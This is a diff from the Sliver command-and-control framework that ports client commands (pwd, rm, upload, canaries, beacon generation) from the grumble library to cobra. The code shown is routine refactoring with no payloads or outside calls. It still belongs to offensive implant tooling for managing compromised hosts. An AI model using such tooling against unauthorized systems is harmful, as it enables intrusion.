con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
+6 -5
View File
@@ -21,22 +21,23 @@ package filesystem
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+13 -8
View File
@@ -21,33 +21,38 @@ package filesystem
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
filePath := args[0]
// filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
recursive, _ := cmd.Flags().GetBool("recursive")
force, _ := cmd.Flags().GetBool("force")
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
Recursive: recursive,
Force: force,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+16 -9
View File
@@ -25,25 +25,28 @@ import (
"os"
"path/filepath"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
localPath := args[0]
remotePath := args[1]
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
isIOC, _ := cmd.Flags().GetBool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -64,12 +67,16 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
+6 -4
View File
@@ -4,23 +4,25 @@ import (
"context"
"fmt"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CanariesCmd - Display canaries from the database and their status
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to list canaries %s", err)
return
}
if 0 < len(canaries.Canaries) {
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
burnedOnly, _ := cmd.Flags().GetBool("burned")
PrintCanaries(con, canaries.Canaries, burnedOnly)
} else {
con.PrintInfof("No canaries in database\n")
}
+34 -12
View File
@@ -5,9 +5,10 @@ import (
"os"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
@@ -16,33 +17,54 @@ var (
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
err := parseBeaconFlags(cmd, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
save, _ := cmd.Flags().GetString("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
} else {
externalBuild(config, save, con)
}
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
days, _ := cmd.Flags().GetInt64("days")
hours, _ := cmd.Flags().GetInt64("hours")
minutes, _ := cmd.Flags().GetInt64("minutes")
interval := time.Duration(days) * time.Hour * 24
interval += time.Duration(hours) * time.Hour
interval += time.Duration(minutes) * time.Minute
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (!cmd.Flags().Changed("seconds") && interval.Seconds() == 0) || (cmd.Flags().Changed("seconds")) {
// if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
seconds, _ := cmd.Flags().GetInt64("seconds")
interval += time.Duration(seconds) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
beaconJitter, _ := cmd.Flags().GetInt64("jitter")
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
config.BeaconJitter = int64(time.Duration(beaconJitter) * time.Second)
return nil
}
+3 -2
View File
@@ -3,13 +3,14 @@ package generate
import (
"context"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to get compiler information: %s\n", err)
Loaded 100 of 8752 files, more files were not shown because too many files have changed in this diff. Show more